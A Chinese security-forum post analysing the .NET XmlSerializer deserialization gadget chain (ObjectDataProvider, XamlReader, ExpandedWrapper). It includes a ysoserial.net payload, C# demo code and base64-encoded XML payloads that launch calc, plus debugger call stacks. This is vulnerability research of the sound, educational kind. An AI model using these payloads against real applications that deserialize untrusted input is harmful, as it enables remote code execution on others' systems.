用户
搜索
  • TA的每日心情
    擦汗
    2020-12-24 15:20
  • 签到天数: 3 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    14

    主题

    18

    帖子

    401

    魔法币
    收听
    0
    粉丝
    4
    注册时间
    2017-11-14

    i春秋签约作者

    发表于 2021-12-10 23:18:16 11105

    前言:

    在看了很多dotNetXmlSerializer反序列化的文章后,我不由得产生了两个个问题:

    1. ObjectDataProvider为什么能够执行命令?
    2. 使用XamlReader是否需要特定的代码环境?
    3. 利用条件

    反序列化Payload:

    Payload如下:

    C:\Users\Administrator\Desktop\代码审计\.net\ysoseril.net\Release>ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c calc
    <?xml version="1.0"?>
    <root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
        <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
            <ExpandedElement/>
            <ProjectedProperty0>
                <MethodName>Parse</MethodName>
                <MethodParameters>
                    <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
                        <![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
                    </anyType>
                </MethodParameters>
                <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
            </ProjectedProperty0>
        </ExpandedWrapperOfXamlReaderObjectDataProvider>
    </root>

    ObjectDataProvider:

    在XmlSerializer中绕不开的就是ObjectDataProvider类了,可以看看如下demo:

          var obj = new ObjectDataProvider();
          obj.ObjectInstance = new System.Diagnostics.Process();
          obj.MethodName = "Start";
          obj.MethodParameters.Add("calc");

    上诉代码的意思就是先将Process实例绑定到ObjectInstance属性上,然后将Start绑定到MethodName中,最后加入参数。运行这段代码就会弹窗Calc:

    那么运行这段代码为什么能够弹出calc呢?这里需要说到C#中的事件了,具体文章可以移步:

    https://www.runoob.com/csharp/csharp-event.html

    调用堆栈如下:

    >   System.dll!System.Diagnostics.Process.Start(string fileName) (IL=0x0000, Native=0x079EB2A0+0x1F)
        [本机到托管的转换]
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x07941E58+0xA1)
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x07941368+0x18E)
        mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x079E88D8+0x1808)
        mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x079E8878+0x40)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x079E8348+0x11B)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x079E7590+0x177)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x079E3610+0x169)
        WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x079E3338+0x27)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.MethodName.set(string value) (IL=0x0020, Native=0x079E82E0+0x4F)
        ConsoleApp.exe!ConsoleApp.Program.Main(string[] args) (IL=0x002F, Native=0x05D920A8+0x9D)
    

    调用堆栈分析:

    Methodset分析:
                set
                {
                    this._methodName = value;
                    this.OnPropertyChanged("MethodName");
                    if (!base.IsRefreshDeferred)
                    {
                        base.Refresh();
                    }
                }

    这里的this.OnPropertyChanged方法进行了数据绑定,最终代码为:

            protected virtual void OnPropertyChanged(PropertyChangedEventArgs e)
            {
                if (this.PropertyChanged != null)
                {
                    this.PropertyChanged(this, e);
                }
            }

    他的作用就是当被绑定的值发生改变时会触发该事件,通常用于WPF。而出发命令执行的关键是Refresh此方法:

            public void Refresh()
            {
                this._initialLoadCalled = true;
                this.BeginQuery();
            }

    直接跟进BeginQuery方法就好:

            protected override void BeginQuery()
            {
                if (TraceData.I**tendedTraceEnabled(this, TraceDataLevel.Attach))
                {
                    TraceData.Trace(TraceEventType.Warning, TraceData.BeginQuery(new object[]
                    {
                        TraceData.Identify(this),
                        this.IsAsynchronous ? "asynchronous" : "synchronous"
                    }));
                }
                if (this.IsAsynchronous)
                {
                    ThreadPool.QueueUserWorkItem(new WaitCallback(this.QueryWorker), null);
                    return;
                }
                this.QueryWorker(null);
            }

    第一个if暂且不说,第二个if this.IsAsynchronous因为我们没有进行初始化所以一定是false,因此两个流程均不进入直接跟进
    QueryWorker方法:

    if (this._mode == ObjectDataProvider.SourceMode.NoSource || this._objectType == null){
    ...
    }else{
    
    ...
    obj2 = this.InvokeMethodOnInstance(out ex);
    ...
    
    }
    

    从调用栈来看这里以及到头了,那么此类就相当于使用了反射去调用Start函数进行执行命令而如何成功反射的关键就是Refresh()这个函数了。

    XamlReader是否需要特定的代码环境:

    首先看个Demo:

                var type = "System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
                var xml = DecodeBase64("utf-8", "PEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiA+CiAgICAgICAgPEV4cGFuZGVkRWxlbWVudC8+CiAgICAgICAgPFByb2plY3RlZFByb3BlcnR5MD4KICAgICAgICAgICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICAgICAgICAgIDxNZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICAgICAgICAgPGFueVR5cGUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeHNpOnR5cGU9InhzZDpzdHJpbmciPgogICAgICAgICAgICAgICAgICAgIDwhW0NEQVRBWzxSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iPjxPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCI+PE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjxiOlN0cmluZz5jbWQ8L2I6U3RyaW5nPjxiOlN0cmluZz4vYyBjYWxjPC9iOlN0cmluZz48L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPjwvT2JqZWN0RGF0YVByb3ZpZGVyPjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pl1dPgogICAgICAgICAgICAgICAgPC9hbnlUeXBlPgogICAgICAgICAgICA8L01ldGhvZFBhcmFtZXRlcnM+CiAgICAgICAgICAgIDxPYmplY3RJbnN0YW5jZSB4c2k6dHlwZT0iWGFtbFJlYWRlciI+PC9PYmplY3RJbnN0YW5jZT4KICAgICAgICA8L1Byb2plY3RlZFByb3BlcnR5MD4KICAgIDwvRXhwYW5kZWRXcmFwcGVyT2ZYYW1sUmVhZGVyT2JqZWN0RGF0YVByb3ZpZGVyPg==");
    
                XmlSerializer serializer = new XmlSerializer(Type.GetType(type));
                MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(xml));
                StreamReader sr = new StreamReader(ms);
                serializer.Deserialize(sr);

    可以发现我上面的代码中并没有出现XamlReader相关的代码环境依然弹出了calc:

    在来分析type变量中的内容,System.Data.Services.Internal.ExpandedWrapper这个是用来指定变量的,他其中具有两个Type:

    1. [System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]
    2. [System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]

    ObjectDataProvider类是不能够执行进行反序列化的,因为ObjectInstance属性是未知的,可以先看一段代码:

                var obj = new ObjectDataProvider();
                obj.ObjectInstance = new System.Diagnostics.Process();
                obj.MethodParameters.Add("calc");
                obj.MethodName = "Start";
    
                XmlSerializer serializer = new XmlSerializer(typeof(ObjectDataProvider));
                MemoryStream memoryStream = new MemoryStream(); //申请内存
                TextWriter writer = new StreamWriter(memoryStream);
                serializer.Serialize(writer, obj);//像内存写入数据
                Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

    运行后出现如下错误:

    InvalidOperationException: 不应是类型 System.Diagnostics.Process。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。

    那么我们使用System.Data.Services.Internal.ExpandedWrapper在来进行反序列化,代码如下:

                ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider > expandedWrapper = new ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider>();
                expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
                expandedWrapper.ProjectedProperty0.ObjectInstance = new System.Diagnostics.Process();
                expandedWrapper.ProjectedProperty0.MethodParameters.Add("calc");
                expandedWrapper.ProjectedProperty0.MethodName = "Start";
    
                XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<System.Diagnostics.Process, ObjectDataProvider>));
                MemoryStream memoryStream = new MemoryStream(); //申请内存
                TextWriter writer = new StreamWriter(memoryStream);
                serializer.Serialize(writer, expandedWrapper);//像内存写入数据
                Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));

    这样同样会报错,VS会出现:

    NotSupportedException: 类型 System.ComponentModel.ISite 的成员 System.ComponentModel.Component.Site 是接口,因此无法将其序列化。

    也就是说反序列化中不能出现接口,接下来就需要类中没有接口且还能执行命令的类了,在ysoseril.net当中使用了XamlReader类,他的Parse方法可以解析XAML,分析下为我们生成的xaml:

    <ResourceDictionary
        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
        xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
        xmlns:b="clr-namespace:System;assembly=mscorlib"
        xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
        <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
            <ObjectDataProvider.MethodParameters>
                <b:String>cmd</b:String>
                <b:String>/c calc</b:String>
            </ObjectDataProvider.MethodParameters>
        </ObjectDataProvider>
    </ResourceDictionary>
    1. 首先xmlns:b="clr-namespace:System;assembly=mscorlib"代表using Systeam并设置别名为b,下面的那句同理。
    2. <ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">ObjectType表示获取System.Diagnostics.Process的Type,MethodName代表设置MethodName属性为Start
    3. ObjectDataProvider.MethodParameters设置了两个参数

    代码如下:

                ExpandedWrapper<XamlReader, ObjectDataProvider> expandedWrapper = new ExpandedWrapper<XamlReader, ObjectDataProvider>();
                expandedWrapper.ProjectedProperty0 = new ObjectDataProvider();
                expandedWrapper.ProjectedProperty0.ObjectInstance = new XamlReader();
                expandedWrapper.ProjectedProperty0.MethodParameters.Add(DecodeBase64("utf-8", "PFJlc291cmNlRGljdGlvbmFyeSB4bWxucz0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwvcHJlc2VudGF0aW9uIiB4bWxuczpkPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbCIgeG1sbnM6Yj0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiIHhtbG5zOmM9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+PE9iamVjdERhdGFQcm92aWRlciBkOktleT0iIiBPYmplY3RUeXBlPSJ7ZDpUeXBlIGM6UHJvY2Vzc30iIE1ldGhvZE5hbWU9IlN0YXJ0Ij48T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+PGI6U3RyaW5nPmNtZDwvYjpTdHJpbmc+PGI6U3RyaW5nPi9jIGNhbGM8L2I6U3RyaW5nPjwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+PC9PYmplY3REYXRhUHJvdmlkZXI+PC9SZXNvdXJjZURpY3Rpb25hcnk+ "));
                expandedWrapper.ProjectedProperty0.MethodName = "Parse";
    
                XmlSerializer serializer = new XmlSerializer(typeof(ExpandedWrapper<XamlReader, ObjectDataProvider>));
                MemoryStream memoryStream = new MemoryStream(); //申请内存
                TextWriter writer = new StreamWriter(memoryStream);
                serializer.Serialize(writer, expandedWrapper);//像内存写入数据
                Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
                Console.Read();

    运行后生成Payload:

    <?xml version="1.0" encoding="utf-8"?>
    <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
      <ProjectedProperty0>
        <ObjectInstance xsi:type="XamlReader" />
        <MethodName>Parse</MethodName>
        <MethodParameters>
          <anyType xsi:type="xsd:string"><ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary></anyType>
        </MethodParameters>
      </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>

    将此Payload编码为Base64:

    PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIj4KICA8UHJvamVjdGVkUHJvcGVydHkwPgogICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJYYW1sUmVhZGVyIiAvPgogICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICA8TWV0aG9kUGFyYW1ldGVycz4KICAgICAgPGFueVR5cGUgeHNpOnR5cGU9InhzZDpzdHJpbmciPiZsdDtSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0OyZsdDtPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCImZ3Q7Jmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDtiOlN0cmluZyZndDtjbWQmbHQ7L2I6U3RyaW5nJmd0OyZsdDtiOlN0cmluZyZndDsvYyBjYWxjJmx0Oy9iOlN0cmluZyZndDsmbHQ7L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDsvT2JqZWN0RGF0YVByb3ZpZGVyJmd0OyZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0OzwvYW55VHlwZT4KICAgIDwvTWV0aG9kUGFyYW1ldGVycz4KICA8L1Byb2plY3RlZFByb3BlcnR5MD4KPC9FeHBhbmRlZFdyYXBwZXJPZlhhbWxSZWFkZXJPYmplY3REYXRhUHJvdmlkZXI+

    进行反序列化:

    
                var type = "System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089";
                var xml = DecodeBase64("utf-8", "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz4KPEV4cGFuZGVkV3JhcHBlck9mWGFtbFJlYWRlck9iamVjdERhdGFQcm92aWRlciB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIj4KICA8UHJvamVjdGVkUHJvcGVydHkwPgogICAgPE9iamVjdEluc3RhbmNlIHhzaTp0eXBlPSJYYW1sUmVhZGVyIiAvPgogICAgPE1ldGhvZE5hbWU+UGFyc2U8L01ldGhvZE5hbWU+CiAgICA8TWV0aG9kUGFyYW1ldGVycz4KICAgICAgPGFueVR5cGUgeHNpOnR5cGU9InhzZDpzdHJpbmciPiZsdDtSZXNvdXJjZURpY3Rpb25hcnkgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6ZD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiIHhtbG5zOmI9ImNsci1uYW1lc3BhY2U6U3lzdGVtO2Fzc2VtYmx5PW1zY29ybGliIiB4bWxuczpjPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1zeXN0ZW0iJmd0OyZsdDtPYmplY3REYXRhUHJvdmlkZXIgZDpLZXk9IiIgT2JqZWN0VHlwZT0ie2Q6VHlwZSBjOlByb2Nlc3N9IiBNZXRob2ROYW1lPSJTdGFydCImZ3Q7Jmx0O09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDtiOlN0cmluZyZndDtjbWQmbHQ7L2I6U3RyaW5nJmd0OyZsdDtiOlN0cmluZyZndDsvYyBjYWxjJmx0Oy9iOlN0cmluZyZndDsmbHQ7L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzJmd0OyZsdDsvT2JqZWN0RGF0YVByb3ZpZGVyJmd0OyZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0OzwvYW55VHlwZT4KICAgIDwvTWV0aG9kUGFyYW1ldGVycz4KICA8L1Byb2plY3RlZFByb3BlcnR5MD4KPC9FeHBhbmRlZFdyYXBwZXJPZlhhbWxSZWFkZXJPYmplY3REYXRhUHJvdmlkZXI+");
    
                XmlSerializer serializer = new XmlSerializer(Type.GetType(type));
                MemoryStream ms = new MemoryStream(Encoding.UTF8.GetBytes(xml));
                StreamReader sr = new StreamReader(ms);
                serializer.Deserialize(sr);
    

    运行后成功弹出calc:

    总结:

    在利用XmlSerializer反序列化时需要Type以及反序列化的Payload可控才能够成功利用

    调用堆栈:

    >   System.dll!System.Diagnostics.Process.Start(string fileName, string arguments) (IL=0x0000, Native=0x07D68330+0x22)
        [本机到托管的转换]
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x06B0DCB8+0xA1)
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
        mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x03A622E8+0x1805)
        mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x03A62118+0x40)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x03A61BE8+0x11C)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x03A60E58+0x176)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x03A1D8D0+0x169)
        WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x03A1D890+0x27)
        WindowsBase.dll!System.Windows.Data.DataSourceProvider.EndDefer() (IL=0x001C, Native=0x07D62BE8+0x2C)
        WindowsBase.dll!System.Windows.Data.DataSourceProvider.EndInit() (IL=0x0006, Native=0x07D62BB0+0x1E)
        WindowsBase.dll!System.Windows.Data.DataSourceProvider.System.ComponentModel.ISupportInitialize.EndInit() (IL=0x0006, Native=0x07D62B78+0x20)
        System.Xaml.dll!MS.Internal.Xaml.Runtime.ClrObjectRuntime.InitializationGuard(System.Xaml.XamlType xamlType, object obj, bool begin) (IL=0x001B, Native=0x07D0CAD8+0x69)
        System.Xaml.dll!System.Xaml.XamlObjectWriter.Logic_EndInit(MS.Internal.Xaml.Context.ObjectWriterContext ctx) (IL=0x001C, Native=0x07D58280+0x73)
        System.Xaml.dll!System.Xaml.XamlObjectWriter.WriteEndObject() (IL=0x02C2, Native=0x07D557D0+0x7A5)
        System.Xaml.dll!System.Xaml.XamlWriter.WriteNode(System.Xaml.XamlReader reader) (IL=0x0064, Native=0x07D01650+0x101)
        PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.TransformNodes(System.Xaml.XamlReader xamlReader, System.Xaml.XamlObjectWriter xamlWriter, bool onlyLoadOneNode, bool skipJournaledProperties, bool shouldPassLineNumberInfo, System.Xaml.IXamlLineInfo xamlLineInfo, System.Xaml.IXamlLineInfoConsumer xamlLineInfoConsumer, MS.Internal.Xaml.Context.XamlContextStack<System.Windows.Markup.WpfXamlFrame> stack, System.Windows.Markup.IStyleConnector styleConnector) (IL=0x0166, Native=0x07D00040+0x42C)
        PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.Load(System.Xaml.XamlReader xamlReader, System.Xaml.IXamlObjectWriterFactory writerFactory, bool skipJournaledProperties, object rootObject, System.Xaml.XamlObjectWriterSettings settings, System.Uri baseUri) (IL=0x00CA, Native=0x07CDCF10+0x284)
        PresentationFramework.dll!System.Windows.Markup.WpfXamlLoader.Load(System.Xaml.XamlReader xamlReader, bool skipJournaledProperties, System.Uri baseUri) (IL≈0x0006, Native=0x07CDC910+0x59)
        PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xaml.XamlReader xamlReader, System.Windows.Markup.ParserContext parserContext) (IL≈0x0038, Native=0x07C5CFE8+0xD7)
        PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode, bool useRestrictiveXamlReader, System.Collections.Generic.List<System.Type> safeTypes) (IL≈0x00F6, Native=0x03A6B370+0x3AA)
        PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode, bool useRestrictiveXamlReader) (IL≈0x0000, Native=0x03A6AB10+0x35)
        PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader, System.Windows.Markup.ParserContext parserContext, System.Windows.Markup.XamlParseMode parseMode) (IL≈0x0000, Native=0x03A6AAC0+0x30)
        PresentationFramework.dll!System.Windows.Markup.XamlReader.Load(System.Xml.XmlReader reader) (IL≈0x000E, Native=0x03A6AA38+0x68)
        PresentationFramework.dll!System.Windows.Markup.XamlReader.Parse(string xamlText) (IL≈0x000E, Native=0x03A690C0+0x65)
        [本机到托管的转换]
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.UnsafeInvokeInternal(object obj, object[] parameters, object[] arguments) (IL≈0x001E, Native=0x06B0DCB8+0xA1)
        mscorlib.dll!System.Reflection.RuntimeMethodInfo.Invoke(object obj, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object[] parameters, System.Globalization.CultureInfo culture) (IL≈0x007F, Native=0x06B0D870+0x18D)
        mscorlib.dll!System.RuntimeType.InvokeMember(string name, System.Reflection.BindingFlags bindingFlags, System.Reflection.Binder binder, object target, object[] providedArgs, System.Reflection.ParameterModifier[] modifiers, System.Globalization.CultureInfo culture, string[] namedParams) (IL≈0x0739, Native=0x03A622E8+0x1805)
        mscorlib.dll!System.Type.InvokeMember(string name, System.Reflection.BindingFlags invokeAttr, System.Reflection.Binder binder, object target, object[] args, System.Globalization.CultureInfo culture) (IL≈0x0000, Native=0x03A62118+0x40)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.InvokeMethodOnInstance(out System.Exception e) (IL≈0x0043, Native=0x03A61BE8+0x11C)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.QueryWorker(object obj) (IL≈0x008C, Native=0x03A60E58+0x176)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.BeginQuery() (IL=0x005D, Native=0x03A1D8D0+0x169)
        WindowsBase.dll!System.Windows.Data.DataSourceProvider.Refresh() (IL=0x000D, Native=0x03A1D890+0x27)
        PresentationFramework.dll!System.Windows.Data.ObjectDataProvider.OnParametersChanged(MS.Internal.Data.ParameterCollection sender) (IL=0x002F, Native=0x03A68AC8+0x57)
        PresentationFramework.dll!MS.Internal.Data.ParameterCollection.OnCollectionChanged() (IL=0x000C, Native=0x03A68A88+0x26)
        PresentationFramework.dll!MS.Internal.Data.ParameterCollection.InsertItem(int index, object value) (IL=0x0014, Native=0x03A68820+0x3B)
        mscorlib.dll!System.Collections.ObjectModel.Collection<object>.Add(object item) (IL=0x0028, Native=0x03A68718+0xE9)
        mscorlib.dll!System.Collections.ObjectModel.Collection<object>.System.Collections.IList.Add(object value) (IL=0x0028, Native=0x03A68518+0xFC)
        Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read7_ObjectDataProvider(bool isNullable, bool checkType) (IL≈0x050D, Native=0x039D5450+0xE62)
        Microsoft.GeneratedCode!Microsoft.Xml.Serialization.GeneratedAssembly.XmlSerializationReaderExpandedWrapper2.Read8_Item(bool isNullable, bool checkType) (IL≈0x01FE, Native=0x039D4620+0x534)
